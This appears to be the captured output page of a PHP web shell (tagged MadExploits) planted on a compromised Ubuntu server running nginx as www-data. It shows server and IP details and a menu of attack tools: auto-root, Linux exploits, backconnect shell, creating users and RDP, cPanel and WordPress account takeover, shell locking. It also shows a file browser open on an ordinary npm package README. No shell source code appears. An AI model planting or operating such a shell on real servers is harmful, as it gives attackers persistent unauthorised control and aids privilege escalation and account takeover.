Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
amatya /
node_modules /
uniq /
[ HOME SHELL ]
Name
Size
Permission
Action
test
[ DIR ]
drwxr-xr-x
.npmignore
98
B
-rw-r--r--
LICENSE
1.06
KB
-rw-r--r--
README.md
1.19
KB
-rw-r--r--
package.json
1.63
KB
-rw-r--r--
uniq.js
910
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : README.md
uniq ==== Removes all duplicates from an array in place. Usage ===== First install using npm: npm install uniq Then use it as follows: ```javascript var arr = [1, 1, 2, 2, 3, 5] require("uniq")(arr) console.log(arr) //Prints: // // 1,2,3,5 // ``` ## `require("uniq")(array[, compare, sorted])` Removes all duplicates from a sorted array in place. * `array` is the array to remove items from * `compare` is an optional comparison function that returns 0 when two items are equal, and something non-zero when they are different. If unspecified, then the default equals will be used. * `sorted` if true, then assume array is already sorted **Returns:** A reference to `array` **Time Complexity:** `O(array.length * log(arra.length))` or `O(array.length)` if `sorted` ## Why use this instead of underscore.uniq[ue]? A few reasons: * This library updates the array in place without making an extra copy (and so it is faster for large arrays) * It also accepts a custom comparison function so you can remove duplicates from arrays containing object * It is more modular in the sense that it doesn't come with a bazillion other utility grab bag functions. # Credits (c) 2013 Mikola Lysenko. MIT License
Close